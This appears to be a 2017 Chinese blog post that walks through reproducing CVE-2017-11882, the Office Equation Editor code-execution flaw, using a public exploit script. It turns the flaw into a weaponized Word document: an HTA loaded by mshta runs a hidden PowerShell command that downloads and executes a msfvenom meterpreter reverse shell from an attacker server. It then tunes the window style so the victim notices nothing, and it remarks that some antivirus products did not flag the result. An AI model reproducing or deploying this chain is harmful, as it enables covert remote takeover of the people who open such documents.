CVE-2017-11882 复现
Nov 21, 2017
1 minute read

上周微软更新日,修复了CVE-2017-11882这个漏洞,根据官方描述该漏洞为Office内存破坏漏洞,影响目前流行的所有Office版本,攻击者可以利用漏洞以当前登录的用户的身份执行任意命令。漏洞位置是出现在一个公式编辑器上,叫做EQNEDT32.EXE,在win10上的路径是C:\Program Files\Common Files\microsoft shared\EQUATION\EQNEDT32.EXE,可以在编辑文档的时候插入公式。

最近有利用脚本出来了,也是自己尝试复现了几次,在此简单记录一下

下载https://github.com/Ridter/CVE-2017-11882/利用脚本,该脚本是@Evi1cg改造后的脚本,经过测试效果还是不错的

生成一个测试文档的话执行 python Command_CVE-2017-11882.py -c "cmd.exe /c calc.exe" -o test.doc 打开test.doc就会弹出计算器,而且全程没有提示或警告之类的弹窗,可以算是完美利用,比之前不带宏的代码执行要简单粗暴

注意一点的是命令部分长度不能超过43bytes

反弹shell

下面主要讲一下反弹shell的利用

用mshta方式执行代码: 在vps上建立一个文件test,内容为

<HTML> 
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<HEAD> 
<script language="VBScript">
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "calc.exe"
self.close
</script>
<body>
demo
</body>
</HEAD> 
</HTML> 

关键是修改objShell.Run后面的部分

我们通过调用powershell下载一个反弹脚本然后执行的方式来获得shell:

修改objShell.Run

objShell.Run powershell.exe -WindowStyle Hidden -NoP -sta -NonI -c IEX(New-Object System.Net.WebClient).DownloadString('http://ip/reverse.ps1');reverse.ps1"

其中reverse.ps1通过msfvenom生成:

./msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=1234 -f psh-reflection >reverse.ps1

msf开启监听,然后生成word文档: python Command_CVE-2017-11882.py -c "mshta http://ip/test" -o test.doc

打开之后就会收到shell

test session 1 但是这样会有一个问题,打开word文档的时候会发现有一个黑框一闪而过,而我们已经指定powershell以-WindowStyle Hidden的方式运行了,那怎么绕过这个黑框呢?

查一下文档 可以看到Run命令是可以通过intWindowStyle参数来控制窗口风格的,有0-10这几种风格 Run Method 所以我们在执行的命令后面加一个参数,用来控制mshta运行的窗口大小,使之最好隐藏窗口运行 0 经过测试0和2参数都是可以的,达到隐藏窗口执行,用户察觉不了,其它参数可以自己试一下

session 3

目前这样生成的文档在火绒和360杀毒的最新版上是没有报毒,但是各大杀软已经更新了规则,凡是远程调用执行cmd或者ps或者regsvr32等都会触发报警,暂时没有好的方法绕过,毕竟是监控着底层的那几个文件的。

av

参考:

https://evi1cg.me/archives/CVE_2017_11882_exp.html

http://www.freebuf.com/vuls/154462.html


Back to posts


comments powered by Disqus